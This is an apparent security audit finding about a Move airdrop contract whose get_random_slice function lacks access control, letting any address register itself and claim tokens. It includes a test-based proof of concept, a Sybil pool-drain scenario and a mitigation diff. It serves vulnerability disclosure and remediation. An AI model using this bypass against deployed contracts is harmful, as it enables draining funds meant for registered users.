Root + Impact
Description
-
Normal behavior:
Only the owner should be able to register eligible addresses for the airdrop. A user can claim exactly once after being registered by the owner.
-
Issue:
get_random_slice
is exposed as an entry
function with no access control. “Registration” is inferred solely from the presence of a key in users_claimed_amount
. Any address can self-register by calling get_random_slice(<their_address>)
and then successfully call claim_pizza_slice
, bypassing the “owner registers first” rule (classic Sybil pattern: many fake/fresh addresses self-register and drain the pool).
#[randomness]
@> entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val;
@> table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}
public entry fun claim_pizza_slice(user: &signer) acquires ModuleData, State {
let user_addr = signer::address_of(user);
let state = borrow_global_mut<State>(get_resource_address());
@> assert!(table::contains(&state.users_claimed_amount, user_addr), E_NOT_REGISTERED);
assert!(!table::contains(&state.claimed_users, user_addr), E_ALREADY_CLAIMED);
...
}
Risk
Likelihood:
-
The function is entry
and callable by any signer on mainnet/testnet once deployed.
-
Registration gating relies on users_claimed_amount
only; get_random_slice
writes that key without owner checks.
-
There is no rate-limit or identity control; spinning up many fresh addresses is cheap.
Impact:
-
Bypass of the “owner-only registration” rule (policy violation).
-
Pool drain: attacker mass-registers many addresses and claims from each until funds are exhausted (Sybil drain).
-
Additional state spam (storage griefing) via writing many keys.
Proof of Concept
#[test(deployer = @pizza_drop, attacker = @0xAAA, framework = @0x1)]
fun poc_unrestricted_registration(
deployer: &signer, attacker: &signer, framework: &signer
) acquires State, ModuleData {
use aptos_framework::{timestamp, aptos_coin, coin, account};
timestamp::set_time_has_started_for_testing(framework);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(attacker));
init_module(deployer);
let a = signer::address_of(attacker);
get_random_slice(a);
assert!(is_registered(a), 1);
let amt = get_claimed_amount(a);
coin::register<aptos_coin::AptosCoin>(deployer);
let c = coin::mint<aptos_coin::AptosCoin>(amt, &mint_cap);
coin::deposit<aptos_coin::AptosCoin>(@pizza_drop, c);
fund_pizza_drop(deployer, amt);
claim_pizza_slice(attacker);
assert!(has_claimed_slice(a), 2);
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}
Recommended Mitigation
- #[randomness]
- entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
+ #[randomness]
+ fun get_random_slice_internal(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val;
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}
- public entry fun register_pizza_lover(owner: &signer, user: address) acquires ModuleData, State {
+ public entry fun register_pizza_lover(owner: &signer, user: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
- get_random_slice(user);
+ // Only the owner can trigger registration:
+ get_random_slice_internal(user);
event::emit(PizzaLoverRegistered { user });
}